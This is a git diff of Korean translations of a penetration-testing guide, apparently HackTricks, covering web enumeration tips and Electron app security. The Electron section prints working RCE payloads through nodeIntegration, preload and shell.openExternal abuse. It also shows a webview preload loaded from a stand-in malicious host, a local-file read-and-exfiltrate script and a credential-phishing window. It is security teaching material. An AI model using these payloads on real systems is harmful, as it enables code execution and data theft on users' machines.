- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 정규식을 이해해야 하는 경우가 자주 있으므로 다음이 유용합니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- 폼이 감지된 파일들을 모니터링하는 것도 유용합니다. 파라미터 변경이나 새로운 폼의 등장 등은 잠재적으로 새로운 취약 기능이 생겼음을 나타낼 수 있습니다.
- 정규 표현식(regular expressions)을 이해해야 하는 경우가 자주 있습니다. 이는 도움이 될 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- 폼이 감지된 파일들을 모니터링하는 것도 좋습니다. 파라미터의 변경이나 새로운 폼의 등장은 잠재적 취약한 기능의 출현을 의미할 수 있습니다.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -314,21 +313,21 @@ _새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 언제
**502 Proxy Error**
페이지가 해당 코드로 응답하면 잘못 구성된 프록시일 가능성이 큽니다. `GET https://google.com HTTP/1.1` 같은 HTTP 요청을 보내면(Host 헤더 및 기타 일반 헤더 포함), 프록시는 _**google.com**_에 접근을 시도하고 SSRF를 발견할 수 있습니다.
어떤 페이지가 해당 **코드**로 응답하면, 이는 잘못 구성된 프록시일 가능성이 큽니다. **만약 다음과 같은 HTTP 요청을 보낸다면: `GET https://google.com HTTP/1.1`** (Host 헤더 및 기타 일반 헤더 포함), 프록시는 _**google.com**_에 접근하려 시도하며 이는 SSRF를 발견한 경우일 수 있습니다.
**NTLM Authentication - Info disclosure**
서버가 인증을 요청하고 해당 서버가 **Windows**이거나 도메인 이름을 묻는 로그인 화면을 발견하면 정보 노출을 유도할 수 있습니다.
헤더로 `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`를 보내면 NTLM 인증 동작 방식 때문에 서버가 "WWW-Authenticate" 헤더에 내부 정보(IIS 버전, Windows 버전 등)를 응답으로 포함할 수 있습니다.
이를 자동화하려면 nmap 플러그인 "_http-ntlm-info.nse_"를 사용할 수 있습니다.
실행 중인 서버가 인증을 요구하고 그 서버가 **Windows**이거나 로그인에서 **도메인 이름**을 요구하면 정보 누출을 유도할 수 있습니다.\
다음 **헤더**를 전송하세요: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그러면 NTLM 인증 방식 때문에 서버가 "WWW-Authenticate" 헤더에 내부 정보(IIS 버전, Windows 버전 등)를 응답으로 보내게 됩니다.\
이를 자동화하려면 **nmap plugin** "_http-ntlm-info.nse_"를 사용할 수 있습니다.
**HTTP Redirect (CTF)**
디렉션 안에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리디렉션을 실행하므로 사용자에게는 표시되지 않지만, 그 안에 무언가를 숨길 수 있습니다.
다이렉션 안에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리다이렉션을 실행하기 때문에 사용자에게 **보여지지 않지만**, 그 안에 **무언가를 숨길 수** 있습니다.
### Web Vulnerabilities Checking
웹 애플리케이션에 대한 포괄적인 열거가 완료되면 많은 가능한 취약점을 검사할 차례입니다. 체크리스트는 다음에서 확인하세요:
웹 애플리케이션에 대한 포괄적 열거가 완료되었으면 이제 다양한 취약점을 점검할 차례입니다. 체크리스트는 다음에서 확인하세요:
{{#ref}}
@ -343,7 +342,7 @@ _새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 언제
### Monitor Pages for changes
페이지 변경을 모니터링하여 취약점이 추가되는지를 확인하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 같은 도구를 사용할 수 있습니다.
변경으로 인해 취약점이 생길 수 있는지 페이지 수정을 모니터링하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 같은 도구를 사용할 수 있습니다.
### HackTricks Automatic Commands
```

View File

@ -4,14 +4,14 @@
## 소개
Electron은 로컬 백엔드(**NodeJS**)와 프런트엔드(**Chromium**)를 결합하지만, 최신 브라우저에 있는 일부 보안 메커니즘이 부족합니다.
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합한 구조지만, 최신 브라우저가 제공하는 일부 보안 메커니즘이 부족합니다.
보통 electron 앱 코드는 `.asar` 애플리케이션 안에서 발견됩니다. 코드를 얻으려면 이를 추출해야 합니다:
보통 Electron 앱 코드는 `.asar` 애플리케이션 내부에 들어 있어, 코드를 얻으려면 이를 추출해야 합니다:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 적용된 `main.js` 파일이 지정되어 있는 것을 찾을 수 있습니다.
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 정의된 `main.js` 파일이 지정되어 있습니다.
```json
{
"name": "standard-notes",
@ -24,7 +24,7 @@ Electron에는 2가지 프로세스 유형이 있습니다:
![](<../../../images/image (182).png>)
하나의 **렌더러 프로세스**는 파일을 로드하는 브라우저 창이 됩니다:
**렌더러 프로세스**는 파일을 로드하는 브라우저 창니다:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
main.js 파일 내부의 **main process**에서 **renderer process**의 설정을 **구성**할 수 있습니다. 설정이 올바르게 구성되면 일부 설정은 **Electron 애플리케이션이 RCE**나 다른 취약점을 얻는 것을 **방지**할 수 있습니다.
main.js 파일 안의 **메인 프로세스**에서 **렌더러 프로세스**의 설정을 **구성**할 수 있습니다. 일부 설정을 올바르게 구성하면 **Electron** 애플리케이션이 **RCE** 또는 다른 취약점을 얻는 것을 **방지**할 수 있습니다.
Electron 애플리케이션은 **Node apis를 통해 기기에 접근할 수**지만 이를 방지하도록 구성할 수 있습니다:
Electron 애플리케이션은 Node apis를 통해 **디바이스에 접근할 수 있습니다**, 하지만 이를 방지하도록 구성할 수 있습니다:
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜져 있으면 renderer process에서 node 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본값은 `on`입니다. `off`이면 main과 renderer 프로세스가 격리되지 않습니다.
- **`nodeIntegration`** - 기본값은 `off`입니다. 활성화되면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본값은 `on`입니다. `off`이면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
- **`preload`** - 기본값은 비어 있습니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 `off`입니다. NodeJS가 수행할 수 있는 작을 제한합니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 `off`입니다. NodeJS가 수행할 수 있는 작을 제한합니다.
- Workers에서의 Node Integration
- **`nodeIntegrationInSubframes`** - 기본값은 `off`입니다.
- 만약 **`nodeIntegration`**이 **enabled**되어 있으면, 이는 Electron 애플리케이션 내에서 **iframe**에 로드된 웹 페이지에서 **Node.js APIs**를 사용할 수 있게 합니다.
- 만약 **`nodeIntegration`**이 **disabled**되어 있으면, preload들이 iframe에서 로드됩니다.
- **`nodeIntegrationInSubframes`**- 기본값은 `off`입니다.
- `nodeIntegration`이 활성화되어 있으면, Electron 애플리케이션 내의 iframe에 로드된 웹 페이지에서 **Node.js APIs**를 사용할 수 있습니다.
- `nodeIntegration`이 비활성화되어 있으면 preload가 iframe에서 로드됩니다.
Example of configuration:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에서 가져온 일부 **RCE payloads**:
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에 있는 몇 가지 **RCE payloads**:
```html
Example Payloads (Windows):
<img
@ -97,13 +97,14 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 트래픽 캡처
start-main 설정을 수정하고 다음과 같은 proxy 사용을 추가하세요:
start-main 구성을 수정하고 다음과 같은 proxy 사용을 추가하세요:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
로컬에서 Electron App을 실행할 수 있다면 임의의 JavaScript 코드를 실행하도록 만들 수 있다. 방법은 다음을 확인:
로컬에서 Electron App을 실행할 수 있다면 임의의 javascript 코드를 실행하도록 만들 수 있습니다. 방법은 다음을 확인하세요:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +112,7 @@ start-main 설정을 수정하고 다음과 같은 proxy 사용을 추가하세
## RCE: XSS + nodeIntegration
만약 **nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 JavaScript는 `require()`를 호출하기만 해도 Node.js 기능을 쉽게 사용할 수 있다. 예를 들어 Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같다:
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
이 설정에 지정된 스크립트는 렌더러의 다른 스크립트보다 **먼저 로드되므로**, **Node APIs에 대한 무제한 접근 권한**을 갖습니다:
이 설정에 지정된 스크립트는 renderer의 다른 스크립트보다 **먼저 로드되므로**, Node APIs에 **무제한 접근 권한을 가집니다**:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
따라서 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
따라서 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **`contextIsolation`이 켜져 있으면 작동하지 않습니다**
> [!NOTE] > **`contextIsolation`이 켜져 있으면, 이 방법은 작동하지 않습니다**
## RCE: XSS + contextIsolation
The _**contextIsolation**_는 웹 페이지 스크립트와 Electron의 내부 JavaScript 코드 간의 분리된 컨텍스트를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.
_**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.
컨텍스트가 분리되어 있지 않으면 공격자는 다음을 수행할 수 있습니다:
컨텍스트가 분리되어 있지 않다면 공격자는 다음을 할 수 있습니다:
1. renderer에서 **임의의 JavaScript를 실행**할 수 있습니다 (XSS 또는 외부 사이트로의 이동)
2. **preload나 Electron 내부 코드에서 사용되는 내장 메서드를 덮어씀**으로써 함수를 장악할 수 있습니다
3. **덮어쓴 함수**의 사용을 **트리거**할 수 있습니다
1. renderer에서 **임의의 JavaScript를 실행** (XSS 또는 외부 사이트로의 이동)
2. preload 또는 Electron 내부 코드에서 사용되는 **내장 메서드를 덮어써서 제어권 획득**
3. **덮어쓴 함수의 사용을 트리거**
4. RCE?
내장 메서드를 덮어쓸 수 있는 장소는 2곳이 있습니다: preload 코드 또는 Electron 내부 코드에서:
내장 메서드를 덮어쓸 수 있는 위치는 2곳입니다: preload 코드 또는 Electron 내부 코드:
{{#ref}}
@ -180,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md
### 클릭 이벤트 우회
링크를 클릭할 때 제한이 적용되어 있다면, 일반적인 왼쪽 클릭 대신 **middle click**을 사용하여 해당 제한을 우회할 수 있습니다.
링크를 클릭할 때 제한이 있는 경우, 일반 왼쪽 클릭 대신 **middle click**을 사용해 이를 우회할 수 있습니다.
```javascript
window.addEventListener('click', (e) => {
```
## shell.openExternal을 통한 RCE
이 예제들에 대한 자세한 내용은 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 참고하세요.
이 예제들에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration` `contextIsolation` 설정을 올바르게 하는 것이 중요합니다. 이러한 설정이 적용되면 메인 프로세스에서 preload 스크립트나 Electron의 네이티브 코드로의 **client-side remote code execution (RCE)** 시도가 실질적으로 차단되는 것으로 알려져 있습니다.
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration` `contextIsolation` 설정을 올바르게 구성하는 것이 중요합니다. 이러한 설정이 적용되면 preload scripts 또는 메인 프로세스의 Electron native code를 대상으로 한 **client-side remote code execution (RCE)**가 사실상 차단되는 것으로 알려져 있습니다.
사용자가 링크를 클릭하거나 새 창을 열면 특정 이벤트 리스너들이 트리거되며, 이는 애플리케이션의 보안과 기능에 매우 중요합니다:
사용자가 링크를 클릭하거나 새 창을 열면 애플리케이션의 보안과 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
이러한 리스너들은 데스크탑 애플리케이션에 의해 **재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크를 내부에서 열지 외부 웹 브라우저에서 열지 평가합니다. 이 결정은 일반적으로 `openInternally` 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크는 외부에서 열려야 함을 의미하며 `shell.openExternal` 함수를 사용합니다.
이러한 리스너들은 **데스크탑 애플리케이션에 의해 재정의(overridden)**되어 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크를 내부에서 열지 외부 웹 브라우저에서 열지 평가합니다. 이 결정은 일반적으로 `openInternally` 함수에서 이루어집니다. 이 함수가 `false`를 반환하면 해당 링크는 외부에서 열려야 함을 의미하며, `shell.openExternal` 함수를 사용합니다.
**Here is a simplified pseudocode:**
@ -203,11 +204,11 @@ webContents.on("will-navigate", function (event, url) {}
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 수락하지 않을 것을 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예와 추가 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있습니다.
Electron JS 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 수락하지 않도록 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영체제는 RCE를 유발할 수 있는 서로 다른 프로토콜들을 지원합니다. 이 주제에 대한 자세한 예와 추가 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 해당 문서에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시들이 포함되어 있습니다.
macOS에서 `openExternal` 함수는 `shell.openExternal('file:///System/Applications/Calculator.app')`처럼 임의의 명령을 실행하도록 악용될 수 있습니다.
macos에서 `openExternal` 함수는 `shell.openExternal('file:///System/Applications/Calculator.app')`처럼 임의의 명령을 실행하도록 악용될 수 있습니다.
**Examples of Windows protocol exploits include:**
**Windows 프로토콜 exploits 예시에는 다음이 포함됩니다:**
```html
<script>
window.open(
@ -227,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + 취약한 preload IPC + shell.openExternal
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
이 vuln은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다.
이 vuln은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 확인할 수 있습니다.
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
The **webviewTag**은 **deprecated feature**로, **renderer process**에서 **NodeJS**를 사용할 수 있게 합니다. 이는 **preload context** 안에 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
따라서 임의의 페이지를 로드하는 데 성공한 공격자는 해당 태그를 사용해 **임의의 preload script를 로드할 수 있다**.
따라서 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용해 **임의의 preload script를 로드할 수 있다**.
이 preload script는 악용되어 **vulnerable IPC service (`skype-new-window`)**를 호출했고, 해당 서비스는 **`shell.openExternal`**를 호출하여 RCE를 얻는 데 사용되었다:
이 preload script는 악용되어 **취약한 IPC 서비스 (`skype-new-window`)**를 호출했고, 그 서비스는 RCE를 얻기 위해 **`shell.openExternal`**를 호출하고 있었다:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## 내부 파일 읽기: XSS + contextIsolation
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있습니다**, 이는 `<iframe>`과 유사하며 로컬 파일을 읽고 exfiltrating할 수 있습니다. 예시에서는 이 취약점을 악용해 내부 파일의 내용을 읽는 방법을 보여줍니다:
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있게 되어**, `<iframe>`과 유사하게 로컬 파일을 읽고 exfiltrating할 수 있습니다. 다음 예제는 이 취약점을 exploit하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
또한, **내부 파일 읽기**에 대한 또 다른 방법이 공유되어 Electron 데스크톱 앱의 심각한 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 애플리케이션을 악용하고 데이터를 exfiltrate하기 위해 스크립트를 주입하는 것을 포함합니다:
또한, **내부 파일 읽기**를 위한 또 다른 방법이 공유되며, 이는 Electron 데스크톱 앱에 존재하는 심각한 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 애플리케이션을 exploit하기 위해 스크립트를 inject하고 데이터를 exfiltrate하는 과정을 포함합니다:
```html
<br /><br /><br /><br />
<h1>
@ -270,23 +271,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + 오래된 Chromium**
## **RCE: XSS + 구형 chromium**
애플리케이션에서 사용하는 **chromium**이 **오래된** 버전이고 그에 대한 **알려진** **취약점**이 있다면, 이를 **악용하여 XSS를 통해 RCE를 획득하는 것이** 가능할 수 있습니다.\
예시는 이 **writeup**에서 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
애플리케이션에서 사용하는 **chromium**이 **구형**이고 그에 대한 **이미 알려진 취약점들**이 있다면, 이를 **exploit**하여 **XSS**를 통해 **RCE**를 얻을 수 있습니다.\
예시는 다음 **writeup**에서 확인할 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **내부 URL regex 우회를 통한 XSS Phishing**
## **XSS Phishing via Internal URL regex bypass**
XSS를 발견했지만 **RCE를 유발하거나 내부 파일을 훔칠 수 없다면**, 이를 사용해 **phishing을 통해 자격 증명(계정 정보)을 탈취** 시도할 수 있습니다.
XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 탈취할 수 없다면**, 이를 이용해 **phishing**을 통해 자격 증명(credentials)을 탈취해 볼 수 있습니다.
먼저 새로운 URL을 열려고 할 때 어떤 일이 일어나는지 알아야 하며, 프런트엔드의 JS 코드를 확인하세요:
먼저 새로운 URL을 열려고 시도할 때 어떤 일이 발생하는지, 프론트엔드의 JS 코드를 확인해 알아야 합니다:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** 호출은 해당 **link**가 플랫폼 소유의 링크로서 **desktop window**에서 **opened** 될지, **or** 제3자 리소스로서 **browser as a 3rd party resource**에서 열릴지를 결정합니다.
**`openInternally`** 호출은 해당 **link**가 **열릴지** **데스크톱 창**에서 플랫폼 소유의 링크로 간주될지, **또는** **브라우저에서 제3자 리소스로** 열릴지를 결정합니다.
함수에서 사용된 **regex**가 **vulnerable to bypasses**한 경우(예: **not escaping the dots of subdomains**) 공격자는 **XSS**를 악용해 공격자 인프라에 위치한 **open a new window which**를 열어 사용자에게 **asking for credentials**하도록 요청할 수 있습니다:
함수에서 사용된 **regex**가 **vulnerable to bypasses**(예: **서브도메인의 점을 이스케이프하지 않음**)인 경우, 공격자는 **XSS**를 악용해 **새 창을 열어** 공격자 인프라에 위치시킨 뒤 사용자에게 **자격 증명을 요구**할 수 있습니다:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -294,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` 프로토콜
문서에 언급된 [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 것처럼, **`file://`**에서 실행되는 페이지는 시스템의 모든 파일에 일방적으로 접근할 수 있으므로, **XSS**를 통해 사용자의 기기에서 임의의 파일을 로드할 수 있습니다. **custom protocol**을 사용하면 프로토콜을 특정 파일 집합만 제공하도록 제한할 수 있어 이러한 문제를 방지할 수 있습니다.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 페이지는 **`file://`**로 실행될 경우 기기의 모든 파일에 일방적으로 접근할 수 있으므로 **XSS** 취약점으로 사용자의 기기에서 임의 파일을 로드할 수 있습니다. **커스텀 프로토콜**을 사용하면 프로토콜이 제공하는 파일을 특정 집합으로만 제한할 수 있어 이러한 문제를 방지할 수 있습니다.
## Remote module
## Remote 모듈
Electron Remote module는 **renderer processes to access main process APIs**를 허용하여 Electron 애플리케이션 내 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 심각한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 cross-site scripting (XSS) 같은 취약점에 더 취약해집니다.
The Electron Remote 모듈은 **renderer processes to access main process APIs**를 허용하여 Electron 애플리케이션 내 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 심각한 보안 리스크가 발생합니다. 애플리케이션의 공격 표면이 넓어져 XSS와 같은 취약점에 더 취약해집니다.
> [!TIP]
> 비록 **remote** 모듈이 main에서 renderer processes로 일부 API를 노출시키지만, 구성요소만을 악용해서 단순히 RCE를 얻는 것은 그리 간단하지 않습니다. 다만 구성요소가 민감한 정보를 노출할 수 있습니다.
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> 아직도 remote module을 사용하는 많은 앱은 renderer process에서 **NodeIntegration이 활성화되어야 함**과 같은 방식으로 구현되어 있는데, 이는 **심각한 보안 위험**입니다.
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Electron 14 이후로 `remote` 모듈은 여러 단계에서 활성화될 수 있지만, 보안 및 성능상의 이유로 **사용하지 않을 것을 권장**합니다.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
활성화하려면 먼저 **main process에서 활성화**해야 합니다:
To enable it, it'd first needed to **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -319,44 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
그런 다음, renderer 프로세스는 해당 모듈에서 객체를 다음과 같이 import할 수 있습니다:
그런 다음, renderer 프로세스는 다음과 같이 모듈에서 객체를 import할 수 있습니다:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
해당 **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**는 remote 모듈의 객체 **`app`**이 노출하는 몇 가지 흥미로운 **함수**들을 설명합니다:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 에서는 remote 모듈의 객체 **`app`** 이 노출하는 몇 가지 흥미로운 **functions** 설명합니다:
- **`app.relaunch([options])`**
- **현재 인스턴스를 종료**하고 **새 인스턴스를 실행**하여 애플리케이션을 재시작합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
- **애플리케이션을 재시작**합니다. 이는 현재 인스턴스를 **종료**하고 새 인스턴스를 **실행**함으로써 이루어집니다. **앱 업데이트**나 중요한 **상태 변경** 시 유용합니다.
- **`app.setAppLogsPath([path])`**
- **앱 로그를 저장할 디렉토리**를 정의하거나 생성합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용해 **가져오거나** **수정**할 수 있습니다.
- **로그를 저장할 디렉터리**를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`** 를 사용해 **검색**하거나 **수정**할 수 있습니다.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 지정한 **프로토콜**에 대해 현재 실행 파일을 **기본 핸들러로 등록**합니다. 필요하면 **커스텀 경로**와 **인수**를 제공할 수 있습니다.
- 지정된 **프로토콜**의 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요하면 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
- **`app.setUserTasks(tasks)`**
- Windows의 **Jump List****Tasks 카테고리**에 작업을 **추가**합니다. 각 작업은 앱이 어떻게 **실행되는지** 또는 어떤 **인수**가 전달되는지를 제어할 수 있습니다.
- Windows의 **Tasks category** 내 **Jump List**에 작업을 **추가**합니다. 각 작업은 앱이 어떻게 **시작**되는지 또는 어떤 **인수**가 전달되는지 제어할 수 있습니다.
- **`app.importCertificate(options, callback)`**
- **PKCS#12 certificate**를 시스템의 **certificate store**에 **가져옵니다** (Linux에서만). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
- **PKCS#12 certificate**를 시스템의 **인증서 저장소**로 **가져옵니다** (Linux 전용). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
- **`app.moveToApplicationsFolder([options])`**
- 애플리케이션을 **Applications folder**로 **이동**합니다 (macOS). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
- 애플리케이션을 **Applications folder** (macOS)로 **이동**합니다. Mac 사용자의 **표준 설치**를 보장하는 데 도움이 됩니다.
- **`app.setJumpList(categories)`**
- Windows에서 **커스텀 Jump List**를 **설정**하거나 **제거**합니다. 작업이 사용자에게 어떻게 표시될지 정리하기 위해 **categories**를 지정할 수 있습니다.
- **Windows**에서 **custom Jump List**를 **설정**하거나 **제거**합니다. 사용자가 작업을 어떻게 보는지 구성하기 위해 **categories**를 지정할 수 있습니다.
- **`app.setLoginItemSettings(settings)`**
- 어떤 **실행 파일들**이 로그인 시 실행될지 및 그 **옵션들**을 구성합니다 (macOS 및 Windows에서만).
- 어떤 **실행 파일(executables)**이 **로그인** 시 실행되는지 및 그들의 **옵션**을 **구성**합니다 (macOS 및 Windows 전용).
:
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences 모듈
Electron에서 시스템 환경설정에 접근하고 **시스템 이벤트를 발생시키는** **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부**입니다.
Electron에서 시스템 환경설정에 접근하고 **시스템 이벤트를 발생시키는** 데 사용되는 **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부**입니다.
**사용 예시:**
```javascript
@ -373,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **NSDistributedNotificationCenter**를 사용하여 **macOS 네이티브 알림**을 **수신**합니다.
* **macOS Catalina** 이전에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **모든** 분산 알림을 스니핑할 수 있었습니다.
* **Catalina / Big Sur** 이후에는 sandboxed 앱이 여전히 **이름으로 등록**하여 **여러 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등)를 **구독**할 수 있습니다.
* **NSDistributedNotificationCenter**를 사용하여 **네이티브 macOS 알림**을 **수신**합니다.
* **macOS Catalina** 이전에는 **nil**을 CFNotificationCenterAddObserver에 전달하여 **모든** 분산 알림을 sniff할 수 있었습니다.
* **Catalina / Big Sur** 이후에는 샌드박스된 앱이 알림을 **이름으로 등록**함으로써 여전히 **많은 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등)를 구독할 수 있습니다.
### **getUserDefault / setUserDefault**
